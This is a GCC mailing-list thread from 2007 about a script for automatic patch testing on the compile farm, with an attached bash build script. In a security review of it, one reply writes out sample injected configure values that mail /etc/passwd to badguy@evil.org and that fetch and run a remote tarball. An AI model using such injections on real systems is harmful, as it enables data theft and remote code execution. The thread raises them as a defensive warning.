public inbox for gcc-patches@gcc.gnu.org
 help / color / mirror / Atom feed
* [CFARM] Script for automatic checking of patches
@ 2007-07-02 22:43 Sebastian Pop
  2007-07-03  0:01 ` Dave Korn
                   ` (2 more replies)
  0 siblings, 3 replies; 30+ messages in thread
From: Sebastian Pop @ 2007-07-02 22:43 UTC (permalink / raw)
  To: GCC Patches, Laurent GUERBY

[-- Attachment #1: Type: text/plain, Size: 1377 bytes --]

Hi,

Here is a script that is automating the build and test of a gcc tree.
The interface uses a directory in which are scheduled patches to be
tested.  The tester goes to sleep for a minute if there is nothing in
that directory.  Otherwise it moves one of the patches to a testing
directory, updates the trunk, patches, and goes for a bootstrap and
test cycle.  In a patch to test, one can insert comments that are
processed by the checker: for example, here are the lines that I
included in one of my patches for bootstrap and test on gcc13:

email: sebpop@gmail.com
configure: --disable-multilib
make: -j4
check:

These keywords should be at the beginning of a new line, and can be
inserted anywhere in the patch file.

For the moment it is not possible to send emails from the compile
farm, but the functionality should work if a sendmail is set up.  My
intent is to allow other users of the cfarm to scp their patches to
this auto-tester patches directory.

I'm still quite annoyed by the fact that when new fails are inserted
in trunk, there is no way to filter out these new fails from the fails
due to the tested patch.  One possible solution is to schedule every
now and then a bootstrap of a pristine tree to reset the set of
passing tests, but this can be done outside the tester.

I also would like to include this script in gcc/contrib.  Okay for trunk?

Sebastian

[-- Attachment #2: patch_tester.sh --]
[-- Type: application/x-sh, Size: 5670 bytes --]

^ permalink raw reply	[flat|nested] 30+ messages in thread

* RE: [CFARM] Script for automatic checking of patches
  2007-07-02 22:43 [CFARM] Script for automatic checking of patches Sebastian Pop
@ 2007-07-03  0:01 ` Dave Korn
  2007-07-03  8:45   ` Sebastian Pop
  2007-07-03  8:58   ` [CFARM] " Andreas Schwab
  2007-07-03  0:24 ` Manuel López-Ibáñez
  2007-07-03  5:16 ` Zdenek Dvorak
  2 siblings, 2 replies; 30+ messages in thread
From: Dave Korn @ 2007-07-03  0:01 UTC (permalink / raw)
  To: 'Sebastian Pop', 'GCC Patches', 'Laurent GUERBY'

On 02 July 2007 23:19, Sebastian Pop wrote:

> Hi,
> 
> Here is a script that is automating the build and test of a gcc tree.
> The interface uses a directory in which are scheduled patches to be
> tested. 

  Patches should probably only be added to this directory after manual
inspection....

> The tester goes to sleep for a minute if there is nothing in
> that directory.  Otherwise it moves one of the patches to a testing
> directory, updates the trunk, patches, and goes for a bootstrap and
> test cycle.  In a patch to test, one can insert comments that are
> processed by the checker: for example, here are the lines that I
> included in one of my patches for bootstrap and test on gcc13:
> 
> email: sebpop@gmail
> configure: --disable-multilib

configure: `mail < /etc/passwd badguy@evil.org`

> For the moment it is not possible to send emails from the compile
> farm, 

  Oh, ok then:

configure: `wget http://6.6.6/badstuff.tar.gz && tar -x... && gcc ... &&
pwn3d!`

  ;-)

    cheers,
      DaveK
-- 
Can't think of a witty .sigline today....

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [CFARM] Script for automatic checking of patches
  2007-07-02 22:43 [CFARM] Script for automatic checking of patches Sebastian Pop
  2007-07-03  0:01 ` Dave Korn
@ 2007-07-03  0:24 ` Manuel López-Ibáñez
  2007-07-03  1:33   ` Dave Korn
  2007-07-03  8:56   ` Sebastian Pop
  2007-07-03  5:16 ` Zdenek Dvorak
  2 siblings, 2 replies; 30+ messages in thread
From: Manuel López-Ibáñez @ 2007-07-03  0:24 UTC (permalink / raw)
  To: Sebastian Pop; +Cc: GCC Patches, Laurent GUERBY

[-- Attachment #1: Type: text/plain, Size: 2059 bytes --]

On 02/07/07, Sebastian Pop <sebpop@gmail.com> wrote:
> Hi,
>
> Here is a script that is automating the build and test of a gcc tree.
[snip]

I have a similar script, a bit more complex, based on
contrib/gcc_build. It uses a file as a queue of patch filenames that
must be tested. Maybe you can steal some ideas from my script (I think
yours is much simpler and clearer, tough).

For example, it is much more reliable to use the following to cleanup
the source directory:
    svn cleanup && svn revert -R . && svn st | cut -d' ' -f5- | xargs rm -v

> For the moment it is not possible to send emails from the compile
> farm, but the functionality should work if a sendmail is set up.  My
> intent is to allow other users of the cfarm to scp their patches to
> this auto-tester patches directory.

I can send mails from the compile farm perfectly. I have been doing
that since a long time ago.

> I'm still quite annoyed by the fact that when new fails are inserted
> in trunk, there is no way to filter out these new fails from the fails
> due to the tested patch.  One possible solution is to schedule every
> now and then a bootstrap of a pristine tree to reset the set of
> passing tests, but this can be done outside the tester.
>

I think your script should test a pristine tree and then compare with
the results of the patched tree. I think it is a bad idea to "svn
update" for every patch. It can be a bit more clever about the
revision required by the patch. You could store test results for many
pristine revisions and you could update only if the current revision
is older than the one required by the patch.

> I also would like to include this script in gcc/contrib.  Okay for trunk?

If you include it in gcc/contrib, why not make use of gcc_update and
compare_tests? I have the feeling that there is a lot of duplicated
functionality there. But still, perfect is the enemy of good, so I am
in favour of including it in contrib.

Other suggestions: "ls -rt -1" and use the same technique as
gcc_update to self-update the script.

Cheers,

Manuel.

[-- Attachment #2: gccfarming --]
[-- Type: application/octet-stream, Size: 14173 bytes --]

#! /bin/bash

########################################################################
#
# File:   gccfarming
# Author: Manuel Lopez-Ibanez
# Date:   2007-07-03
# 
# based on contrib/gcc_build
# Author: Mark Mitchell
# Date:   2000-07-10
#
# Adapted to Subversion by Ben Elliston <bje@au.ibm.com>, 2005-07-14.
#
# Contents:
#   Script to automatically download and build GCC.
#
# Copyright (c) 2007 Free Software Foundation.
#
# This file is part of GCC.
#
# GCC is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.
#
# GCC is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with GCC; see the file COPYING.  If not, write to
# the Free Software Foundation, 51 Franklin Street, Fifth Floor,
# Boston, MA 02110-1301, USA.
#
########################################################################

########################################################################
# Notes
########################################################################

# You can set the following variables in the environment.  They
# have no corresponding command-line options because they should
# only be needed infrequently:
#
#   MAKE                        The path to `make'.

DESTMAIL=manu@gcc.gnu.org

########################################################################
# Functions
########################################################################

chat () {
    echo "`TZ=UTC date`: gccfarming: $@"
}

# Issue the error message given by $1 and exit with a non-zero
# exit code.
error () {
    chat "error: $1"
    if [ ${DESTMAIL} ]; then
	echo "error: $1" \
	    | mail -s "[GCC Farm] $HOSTNAME ${PATCH} ${SIMULATOR} ${SVNREV} error" $DESTMAIL
    fi
    exit 1
}

# Issue a usage message explaining how to use this script.

usage() {
cat <<EOF
PATCH=/path/to/patch.diff
gccfarming       [-c configure_options]
		 [-d destination_directory]
		 [-i installdir]
		 [-m make_options]
		 [-o objdir]
		 [-b branch_name]
		 [-u username]
		 [-p protocol]
		 [-t tarfile]
                 [-x make_check_options]
                 [-f] force operation
                 [-q] patch queue file
		 [bootstrap]
		 [build]
		 [configure]
		 [install]
		 [check]
		 [fastcheck]
		 [cleanup] 
		 [revert] svn revert (don't remove files)
EOF
    exit 1
}

# Change to the directory given by $1.

changedir() {
    cd $1 || \
	error "Could not change directory to $1"
}

# Checkout a fresh copy of the GCC build tree.

checkout_gcc() {
    # If the destination already exists, don't risk destroying it.
    test -e ${DESTINATION} && \
	error "${DESTINATION} already exists"

    # Checkout the tree
    test -n "${SVN_USERNAME}" && SVN_USERNAME="${SVN_USERNAME}@"
    SVNROOT="${SVN_PROTOCOL}://${SVN_USERNAME}${SVN_SERVER}${SVN_REPOSITORY}${SVN_BRANCH}"

    $GCC_SVN co $SVNROOT ${DESTINATION} || \
	error "Could not check out GCC"
}

# Update GCC.


update_combined () {
    # Enter the destination directory.
    rsync --verbose --size-only -rIH --delete ${DESTINATION}/gcc/ ${COMBINED}/gcc/
    changedir ${DESTINATION} &&  find . -print | cpio -pdlmu ${COMBINED}
}

update_gcc() {
    # If the destination does not already exist, complain.
    test -d ${DESTINATION} || \
	error "${DESTINATION} does not exist"

    # Enter the destination directory.
    changedir ${DESTINATION}

    # Update the tree
    ./contrib/gcc_update || \
	error "Could not update GCC"
}

# Configure for a build of GCC.

configure_gcc() {
    # Go to the source directory.
    changedir ${DESTINATION}

    # Remove the object directory.
    rm -rf ${OBJDIR}
    # Create it again.
    mkdir ${OBJDIR} || \
	error "Could not create ${OBJDIR}"
    # Enter it.
    changedir ${OBJDIR}

    # Configure the tree.
    echo "Configuring: ${DESTINATION}/configure ${CONFIGURE_OPTIONS}"
    eval ${DESTINATION}/configure ${CONFIGURE_OPTIONS} || \
	error "Could not configure the compiler"
}

# Build GCC
build_gcc() {
    # Go to the source directory.
    changedir ${DESTINATION}

    # Enter it.
    changedir ${OBJDIR}

    # Build the compiler
    echo "Building: ${MAKE} ${MAKE_OPTIONS} all-gcc"
    eval ${MAKE} ${MAKE_OPTIONS} all-gcc || \
	error "Could not build the compiler"
}

# Bootstrap GCC.

bootstrap_gcc() {

    COMBINED=/home/manuel/src/combined

    if [ ${TARGET} ]; then
	update_combined
	RUNTESTFLAGS="--target_board=${SIMULATOR}"
	CONFIGUREFLAGS="--target=${TARGET} --enable-languages=c,c++ --with-newlib --disable-gdbtk "
	#"--disable-libgfortran --disable-boehm-gc --disable-libffi"
	MAKE_OPTIONS=" -j3 "
	DESTINATION=${COMBINED}
        # Go to the source directory.
	changedir ${DESTINATION}/gcc
    else
	RUNTESTFLAGS=""
	CONFIGUREFLAGS=""
	SIMULATOR="."
        # Go to the source directory.
	changedir ${DESTINATION}
    fi
    
    
    SVNREV=`svnversion -n .`
    test -z ${SVNREV} && error "svn info failed, cannot get revision from trunk"
    
    TOPDIR=/home/manuel/${SIMULATOR}/${SVNREV}
    BUILDIR=${TOPDIR}/build
    INSTALLDIR=${TOPDIR}/install
    LOGDIR=${TOPDIR}/log
 
    chat "bootstrapping gcc: ${SVNREV}   target: ${TARGET}   SIMULATOR: ${SIMULATOR} " 
   
    # Clean up BUILDIR
    rm -rf ${BUILDIR}
    mkdir -p ${BUILDIR} ${INSTALLDIR} ${LOGDIR}
    changedir ${BUILDIR}

    if [ ${PATCH} ]; then
	LOGPREFIX=`basename ${PATCH} diff`
    fi 
    BOOTSTRAPLOG=${LOGDIR}/${LOGPREFIX}bootstrap
    CONFIGURELOG=${LOGDIR}/${LOGPREFIX}configure
    CHECKLOG=${LOGDIR}/${LOGPREFIX}k-check
    TESTSUMLOG=${LOGDIR}/${LOGPREFIX}test_summary

    rm -f ${BOOTSTRAPLOG} ${CONFIGURELOG} ${CHECKLOG} ${TESTSUMLOG}

    # Configure the tree for bootstrapping
    chat "Configuring: \
	${DESTINATION}/configure --prefix=${INSTALLDIR} \
	--enable-languages=all --enable-decimal-float \
	${CONFIGUREFLAGS} "

    eval \
	${DESTINATION}/configure --prefix=${INSTALLDIR} \
	--enable-languages=all --enable-decimal-float \
	${CONFIGUREFLAGS} &> ${CONFIGURELOG} \
	|| error "Could not configure the compiler"

    # Bootstrap the compiler (cross-compilers are not bootstrapped)
    chat "Building: ${MAKE} ${MAKE_OPTIONS} "
    eval ${MAKE} ${MAKE_OPTIONS} &> ${BOOTSTRAPLOG} \
    || error "Could not bootstrap the compiler"

    chat "Running ${MAKE} -k ${MAKE_CHECK_OPTIONS} check \
	RUNTESTFLAGS=${RUNTESTFLAGS}."
    eval \${MAKE} -k ${MAKE_CHECK_OPTIONS} check \
	RUNTESTFLAGS=${RUNTESTFLAGS} &> ${CHECKLOG}

    ${DESTINATION}/contrib/test_summary &> ${TESTSUMLOG}
    if [ ${DESTMAIL} ]; then
	cat ${TESTSUMLOG} \
	    | mail -s "[GCC Farm] $HOSTNAME $PATCH ${SIMULATOR}/${SVNREV}" $DESTMAIL
    fi
}


# Test GCC.
check_gcc() {
    # Go to the source directory.
    changedir ${DESTINATION}
    
    LOG=`svnversion -n .`
    #LOG=`svn info . | awk 'match($0,/Revision: ([0-9]+)/,a){ORS="";print a[1]}'`
    test -z ${LOG} && error "svn info failed, cannot get revision from trunk"

    changedir ${OBJDIR}

    echo "Running tests...  This will take a while."
    eval \${MAKE} -k ${MAKE_CHECK_OPTIONS} check &> ${LOGDIR}/${LOG}-k-check-independent
    ${DESTINATION}/contrib/test_summary
}


fastcheck_gcc() {
    # Go to the source directory.
    changedir ${DESTINATION}

    LOG=`svnversion -n .`
    #LOG=`svn info . | awk 'match($0,/Revision: ([0-9]+)/,a){ORS="";print a[1]}'`
    test -z ${LOG} && error "svn info failed, cannot get revision from trunk"

    # Go to the object directory.
    changedir ${OBJDIR}

    echo "Running tests check-gcc check-c++ check-objc...  This will take a while."
    eval \${MAKE} -C gcc check-gcc check-c++ check-objc &> ${LOGDIR}/${LOG}-check-gcc-c++-objc

}

# Export the GCC source tree.

export_gcc() {
    # Go to the source directory.
    changedir ${DESTINATION}
    # Go up one level.
    changedir ..
    # Build a tarball of the source directory.
    tar czf ${TARFILE} \
	--exclude=${OBJDIR} \
	--exclude=.svn \
	--exclude='.#*' \
	--exclude='*~' \
	`basename ${DESTINATION}`
}

# Install GCC.

install_gcc() {
    # Go to the source directory.
    changedir ${DESTINATION}
    # Go to the object directory.
    changedir ${OBJDIR}

    ${MAKE} install || error "Installation failed"
}

# This functions applies a patch to an existing tree.
apply_patch () {
    # Go to the source directory.
    changedir ${DESTINATION}

    if [ -f "$1" ]; then
	echo "Applying patch file $1"
	case $1 in
	*gz)
	    gzip -d -c "$1" | patch -p1 ;;
	*bz2)
	    bzip2 -d -c "$1" | patch -p1 ;;
	*)
	    patch -p1 < "$1";;
	esac
    fi
    changedir ${OBJDIR}
}

patch_gcc() {
    # Go to the source directory.
    changedir ${DESTINATION}

    echo "Applying patches: $@"
    if [ ! -f $1 ]; then
	error "Applying patch $1 failed"
    else 
	eval patch -p0 < $1 || error "Applying patch $1 FAILED"
    fi
}

unpatch_gcc() {
    # Go to the source directory.
    changedir ${DESTINATION}

    if [ ${FORCE} -ne 0 ]; then
	svn revert -R .
	svn st | grep -F '?' | cut -c8- | xargs rm -v -f
    elif [ ! -e ../$1 ]; then
	error "Reference patch not found"
    else 
	eval patch -R -p1 < ../$1 || error "Reversing patch failed"
    fi

}

cleanup_gcc() {
    # Go to the source directory.
    changedir ${DESTINATION}
    svn cleanup && svn revert -R . && svn st | cut -d' ' -f5- | xargs rm -v
}

revert_gcc() {
    # Go to the source directory.
    changedir ${DESTINATION}
    svn revert -R .
}

patchqueue_mode() {
    while
    read PATCH < ${PATCHQUEUE_FILE}
      do
      sed 1d < ${PATCHQUEUE_FILE} > .gccfarming.$$
      mv .gccfarming.$$ ${PATCHQUEUE_FILE}
      if [ -n ${PATCH} ]; then
	  eval PATCH=${PATCH} ~/gccfarming cleanup bootstrap
      fi
    done
}

########################################################################
# Initialization
########################################################################

# SVN command
GCC_SVN=${GCC_SVN-${SVN-svn}}
# The SVN server containing the GCC repository.
SVN_SERVER="gcc.gnu.org"
# The path to the repository on that server.
SVN_REPOSITORY="/svn/gcc/"
# The branch to check out from that server.
# Defaults to trunk if no branch is defined with -b.
SVN_BRANCH=""
# The SVN protocol to use.
SVN_PROTOCOL="svn"
# The username to use when connecting to the server.
# An empty string means anonymous.
SVN_USERNAME=""

# The directory where the checked out GCC will be placed.
DESTINATION=`pwd`"/src/trunk"
# The relative path from the top of the source tree to the
# object directory.
OBJDIR="../../objdir"
INSTALLDIR="../../local"
# with respect to objdir
LOGDIR="/home/manuel/doc"


#TARGET=powerpc-eabisim
#SIMULATOR=powerpc-sim


# The file where the tarred up sources will be placed.
TARFILE="gcc.tgz"

# Options to pass to configure.
CONFIGURE_OPTIONS="--prefix=${DESTINATION}/${INSTALLDIR} --enable-languages=c,c++,objc  --disable-mudflap --disable-libmudflap --enable-decimal-float"

# The `make' program.
MAKE="${MAKE:-make}"
# Options to pass to "make bootstrap" and "make".
MAKE_OPTIONS="-j3" # CFLAGS='-gdwarf-2 -g3' "
# Options to pass to "make bootstrap".
MAKE_BOOTSTRAP_OPTIONS=

# Options to pass to "make check".
MAKE_CHECK_OPTIONS=

FORCE=0

# Modes of operation
BUILD=0
BOOTSTRAP=0
CHECKOUT=0
CONFIGURE=0
EXPORT=0
INSTALL=0
FASTTEST=0
TEST=0
UPDATE=0
UNPATCH=0
CLEANUP=0
REVERT=0
PATCHQUEUE_FILE=""
########################################################################
# Main Program
########################################################################

# Issue usage if no parameters are given.
test $# -eq 0 && usage

# Parse the options.
while getopts "c:d:i:m:o:p:t:b:u:x:fq:" ARG; do
    case $ARG in
    c)    CONFIGURE_OPTIONS="${OPTARG}";;
    d)    DESTINATION="${OPTARG}";;
    i)    INSTALLDIR="${OPTARG}";;
    m)    MAKE_OPTIONS="${OPTARG}";;
    o)    OBJDIR="${OPTARG}";;
    p)    SVN_PROTOCOL="${OPTARG}";;
    t)    TARFILE="${OPTARG}";;
    x)    MAKE_CHECK_OPTIONS="${OPTARG}";;
    b)    SVN_BRANCH="${OPTARG}";;
    u)    SVN_USERNAME="${OPTARG}";;
    f)    FORCE=1;;
    q)    PATCHQUEUE_FILE="${OPTARG}";;
    \?)   usage;;
    esac
done
shift `expr ${OPTIND} - 1`

# Handle the major modes.
while [ $# -ne 0 ]; do
    case $1 in
    bootstrap) BOOTSTRAP=1;;
    build)    BUILD=1;;
#    checkout) CHECKOUT=1;;
    configure) CONFIGURE=1;;
#    export)   EXPORT=1;;
    install)  INSTALL=1;;
    check)    TEST=1;;
    fastcheck)     FASTTEST=1;;
#    update)   UPDATE=1;;
    cleanup)     CLEANUP=1;;
    revert)     REVERT=1;;
    *)        usage;;
    esac
    shift
done

# Check the arguments for sanity.
if [ ${CHECKOUT} -ne 0 ] && [ ${UPDATE} -ne 0 ]; then
    error "Cannot checkout and update simultaneously"
fi

if [ ${CHECKOUT} -eq 0 ] && test -n "${SVN_BRANCH}"; then
    error "Branch argument only makes sense when doing a checkout"
fi

# Validate the branch name.
if test -n "${SVN_BRANCH}"; then
    SVN_BRANCH="branches/${SVN_BRANCH}";
else
    SVN_BRANCH="trunk";
fi

# Checkout the tree.
if [ ${CHECKOUT} -ne 0 ]; then
    checkout_gcc
elif [ ${UPDATE} -ne 0 ]; then
    update_gcc
fi


# Reverse  patch
if [ ${UNPATCH} -ne 0 ]; then
    unpatch_gcc
fi

# Revert source tree (don't remove files)
if [ ${REVERT} -ne 0 ]; then
    revert_gcc
fi

# Cleanup source tree
if [ ${CLEANUP} -ne 0 ]; then
    cleanup_gcc
fi

# Apply patch
if [ ${PATCH} ]; then
    patch_gcc ${PATCH}
fi

# Configure to build the tree.
if [ ${CONFIGURE} -ne 0 ]; then
    configure_gcc
fi

# Bootstrap the compiler.
if [ ${BUILD} -ne 0 ]; then
    build_gcc
fi

# Bootstrap the compiler.
if [ ${BOOTSTRAP} -ne 0 ]; then
    bootstrap_gcc
fi

# Test the compiler
if [ ${FASTTEST} -ne 0 ]; then
    fastcheck_gcc
fi

# Test the compiler
if [ ${TEST} -ne 0 ]; then
    check_gcc
fi

# Install the compiler.
if [ ${INSTALL} -ne 0 ]; then
    install_gcc
fi

# Export the sources
if [ ${EXPORT} -ne 0 ]; then
    export_gcc
fi

# Patch Queue Mode
if [ -n "${PATCHQUEUE_FILE}" ]; then
    patchqueue_mode
fi

^ permalink raw reply	[flat|nested] 30+ messages in thread

* RE: [CFARM] Script for automatic checking of patches
  2007-07-03  0:24 ` Manuel López-Ibáñez
@ 2007-07-03  1:33   ` Dave Korn
  2007-07-03  8:56   ` Sebastian Pop
  1 sibling, 0 replies; 30+ messages in thread
From: Dave Korn @ 2007-07-03  1:33 UTC (permalink / raw)
  To: 'Manuel López-Ibáñez', 'Sebastian Pop'
  Cc: 'GCC Patches', 'Laurent GUERBY'

On 03 July 2007 01:18, Manuel López-Ibáñez wrote:

> On 02/07/07, Sebastian Pop wrote:
>> Hi,
>> 
>> Here is a script that is automating the build and test of a gcc tree.
>> [snip] 

>> I also would like to include this script in gcc/contrib.  Okay for trunk?
> 
> If you include it in gcc/contrib, why not make use of gcc_update and
> compare_tests? I have the feeling that there is a lot of duplicated
> functionality there. But still, perfect is the enemy of good, so I am
> in favour of including it in contrib.

  All kidding aside, I am actually rather concerned about the idea of
distributing this as it stands.  I appreciate that probably all the scripts in
contrib would be vulnerable to parameter injection, but this one unlike the
rest seems designed to be set up in an automated situation where it would
receive unfiltered inputs.

  Could it at least go in a subdirectory of contrib called 'dangerous' or
'unsafe' or something similar, with a big README.WARNING alongside?  It could
/probably/ be made /relatively/ secure in a heavily restricted chroot jail.
Modulo privilege escalation attacks, of course...


    cheers,
      DaveK
-- 
Can't think of a witty .sigline today....

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [CFARM] Script for automatic checking of patches
  2007-07-02 22:43 [CFARM] Script for automatic checking of patches Sebastian Pop
  2007-07-03  0:01 ` Dave Korn
  2007-07-03  0:24 ` Manuel López-Ibáñez
@ 2007-07-03  5:16 ` Zdenek Dvorak
  2007-07-03 15:54   ` Rask Ingemann Lambertsen
  2 siblings, 1 reply; 30+ messages in thread
From: Zdenek Dvorak @ 2007-07-03  5:16 UTC (permalink / raw)
  To: Sebastian Pop; +Cc: GCC Patches, Laurent GUERBY

Hello,

> Here is a script that is automating the build and test of a gcc tree.
> The interface uses a directory in which are scheduled patches to be
> tested.  The tester goes to sleep for a minute if there is nothing in
> that directory.  Otherwise it moves one of the patches to a testing
> directory, updates the trunk, patches, and goes for a bootstrap and
> test cycle.  In a patch to test, one can insert comments that are
> processed by the checker: for example, here are the lines that I
> included in one of my patches for bootstrap and test on gcc13:
> 
> email: sebpop@gmail.com
> configure: --disable-multilib
> make: -j4
> check:
> 
> These keywords should be at the beginning of a new line, and can be
> inserted anywhere in the patch file.
> 
> For the moment it is not possible to send emails from the compile
> farm, but the functionality should work if a sendmail is set up.  My
> intent is to allow other users of the cfarm to scp their patches to
> this auto-tester patches directory.
> 
> I'm still quite annoyed by the fact that when new fails are inserted
> in trunk, there is no way to filter out these new fails from the fails
> due to the tested patch.  One possible solution is to schedule every
> now and then a bootstrap of a pristine tree to reset the set of
> passing tests, but this can be done outside the tester.

what we do in our tester is that we build gcc twice (once without the
patch, once with) and compare the results.  It doubles the time of the
testing, but the results are more reliable than with the scheme you
propose.

Zdenek

> I also would like to include this script in gcc/contrib.  Okay for trunk?
> 
> Sebastian


^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [CFARM] Script for automatic checking of patches
  2007-07-03  0:01 ` Dave Korn
@ 2007-07-03  8:45   ` Sebastian Pop
  2007-07-03 10:38     ` Dave Korn
  2007-07-03  8:58   ` [CFARM] " Andreas Schwab
  1 sibling, 1 reply; 30+ messages in thread
From: Sebastian Pop @ 2007-07-03  8:45 UTC (permalink / raw)
  To: Dave Korn; +Cc: GCC Patches, Laurent GUERBY

On 7/3/07, Dave Korn <dave.korn@artimi.com> wrote:
>
>   Patches should probably only be added to this directory after manual
> inspection....
>
[...]
> configure: `wget http://6.6.6/badstuff.tar.gz && tar -x... && gcc ... &&
> pwn3d!`
>
>   ;-)
>

Okay, so why do you still trust commits to gcc trunk?  Do you check
all the patches that go in during a 'svn up' before doing a bootstrap
of the new tree?

I can make some assumptions on the users of the gcc compile farm.  My
intent is to simplify the build and test of all svn-write maintainers
by simply allowing them to say "svn add mypatch && svn ci" in a test
directory.  In this case, I can trust the patches to be tested, as I
trust gcc contributions.

Sebastian

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [CFARM] Script for automatic checking of patches
  2007-07-03  0:24 ` Manuel López-Ibáñez
  2007-07-03  1:33   ` Dave Korn
@ 2007-07-03  8:56   ` Sebastian Pop
  2007-07-03 11:29     ` Laurent GUERBY
  1 sibling, 1 reply; 30+ messages in thread
From: Sebastian Pop @ 2007-07-03  8:56 UTC (permalink / raw)
  To: Manuel López-Ibáñez; +Cc: GCC Patches, Laurent GUERBY

Thanks Manuel and Zdenek, I will modify the script to implement your
suggestions.

On 7/3/07, Manuel López-Ibáñez <lopezibanez@gmail.com> wrote:
>
> I can send mails from the compile farm perfectly. I have been doing
> that since a long time ago.
>

I tried my script only on gcc13, so probably there is a sendmail
problem there.

Sebastian

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [CFARM] Script for automatic checking of patches
  2007-07-03  0:01 ` Dave Korn
  2007-07-03  8:45   ` Sebastian Pop
@ 2007-07-03  8:58   ` Andreas Schwab
  1 sibling, 0 replies; 30+ messages in thread
From: Andreas Schwab @ 2007-07-03  8:58 UTC (permalink / raw)
  To: Dave Korn
  Cc: 'Sebastian Pop', 'GCC Patches', 'Laurent GUERBY'

"Dave Korn" <dave.korn@artimi.com> writes:

> On 02 July 2007 23:19, Sebastian Pop wrote:
>
>> The tester goes to sleep for a minute if there is nothing in
>> that directory.  Otherwise it moves one of the patches to a testing
>> directory, updates the trunk, patches, and goes for a bootstrap and
>> test cycle.  In a patch to test, one can insert comments that are
>> processed by the checker: for example, here are the lines that I
>> included in one of my patches for bootstrap and test on gcc13:
>> 
>> email: sebpop@gmail
>> configure: --disable-multilib
>
> configure: `mail < /etc/passwd badguy@evil.org`

configure: WARNING: you should use --build, --host, --target
configure: WARNING: invalid host type: `mail
configure: WARNING: you should use --build, --host, --target
configure: WARNING: invalid host type: <
configure: WARNING: you should use --build, --host, --target
configure: WARNING: invalid host type: /etc/passwd
configure: WARNING: you should use --build, --host, --target
configure: WARNING: invalid host type: badguy@evil.org`
checking build system type... Invalid configuration ``mail': machine ``mail' not recognized
configure: error: /bin/sh /cvs/gcc/config.sub `mail failed

Andreas.

-- 
Andreas Schwab, SuSE Labs, schwab@suse.de
SuSE Linux Products GmbH, Maxfeldstraße 5, 90409 Nürnberg, Germany
PGP key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."

^ permalink raw reply	[flat|nested] 30+ messages in thread

* RE: [CFARM] Script for automatic checking of patches
  2007-07-03  8:45   ` Sebastian Pop
@ 2007-07-03 10:38     ` Dave Korn
  2007-07-03 12:07       ` Sebastian Pop
  2007-07-03 19:02       ` Laurent GUERBY
  0 siblings, 2 replies; 30+ messages in thread
From: Dave Korn @ 2007-07-03 10:38 UTC (permalink / raw)
  To: 'Sebastian Pop'; +Cc: 'GCC Patches', 'Laurent GUERBY'

On 03 July 2007 08:35, Sebastian Pop wrote:

> On 7/3/07, Dave Korn wrote:
>> 
>>   Patches should probably only be added to this directory after manual
>> inspection.... 
>> 
> [...]
>> configure: `wget http://6.6.6/badstuff.tar.gz && tar -x... && gcc ... &&
>> pwn3d!` 
>> 
>>   ;-)
>> 
> 
> Okay, so why do you still trust commits to gcc trunk?  Do you check
> all the patches that go in during a 'svn up' before doing a bootstrap
> of the new tree?

  To the extent that they've been visually inspected as part of the review
process, and are accountable to known identities with an established history
when committed, yes.

> I can make some assumptions on the users of the gcc compile farm.  My
> intent is to simplify the build and test of all svn-write maintainers
> by simply allowing them to say "svn add mypatch && svn ci" in a test
> directory.  In this case, I can trust the patches to be tested, as I
> trust gcc contributions.

  I thought by 'add it to contrib' you were implying it would be part of all
future gcc release distributions, in which case it would need to be
accompanied by a warning along the lines of "This should only be fed with
patches from known authorised and trusted sources, don't ever so much as think
about hooking it up to a raw feed from the gcc-patches list or you'll regret
it".

  If it's not going to be in future release tarballs, sorry for the noise.


    cheers,
      DaveK
-- 
Can't think of a witty .sigline today....

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [CFARM] Script for automatic checking of patches
  2007-07-03  8:56   ` Sebastian Pop
@ 2007-07-03 11:29     ` Laurent GUERBY
  0 siblings, 0 replies; 30+ messages in thread
From: Laurent GUERBY @ 2007-07-03 11:29 UTC (permalink / raw)
  To: Sebastian Pop; +Cc: Manuel López-Ibáñez, GCC Patches

On Tue, 2007-07-03 at 09:40 +0200, Sebastian Pop wrote:
> Thanks Manuel and Zdenek, I will modify the script to implement your
> suggestions.
> 
> On 7/3/07, Manuel López-Ibáñez <lopezibanez@gmail.com> wrote:
> >
> > I can send mails from the compile farm perfectly. I have been doing
> > that since a long time ago.
> >
> 
> I tried my script only on gcc13, so probably there is a sendmail
> problem there.

I'll look at this ASAP.

Laurent


^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [CFARM] Script for automatic checking of patches
  2007-07-03 10:38     ` Dave Korn
@ 2007-07-03 12:07       ` Sebastian Pop
  2007-07-03 12:10         ` Dave Korn
  2007-07-03 19:02       ` Laurent GUERBY
  1 sibling, 1 reply; 30+ messages in thread
From: Sebastian Pop @ 2007-07-03 12:07 UTC (permalink / raw)
  To: Dave Korn; +Cc: GCC Patches, Laurent GUERBY

On 7/3/07, Dave Korn <dave.korn@artimi.com> wrote:
>
>   I thought by 'add it to contrib' you were implying it would be part of all
> future gcc release distributions, in which case it would need to be
> accompanied by a warning along the lines of "This should only be fed with
> patches from known authorised and trusted sources, don't ever so much as think
> about hooking it up to a raw feed from the gcc-patches list or you'll regret
> it".
>
>   If it's not going to be in future release tarballs, sorry for the noise.
>

Thanks for the suggestion, I have included your warning text at the start of
the script such that it appears on stdout every time one runs this script.
Better warning than sorry ;-).  Thanks again,

Sebastian

^ permalink raw reply	[flat|nested] 30+ messages in thread

* RE: [CFARM] Script for automatic checking of patches
  2007-07-03 12:07       ` Sebastian Pop
@ 2007-07-03 12:10         ` Dave Korn
  0 siblings, 0 replies; 30+ messages in thread
From: Dave Korn @ 2007-07-03 12:10 UTC (permalink / raw)
  To: 'Sebastian Pop'; +Cc: 'GCC Patches', 'Laurent GUERBY'

On 03 July 2007 13:01, Sebastian Pop wrote:

> Better warning than sorry ;-).  


  Much agreement.  Sorry for being so finicky!

    cheers,
      DaveK
-- 
Can't think of a witty .sigline today....

^ permalink raw reply	[flat|nested] 30+ messages in thread

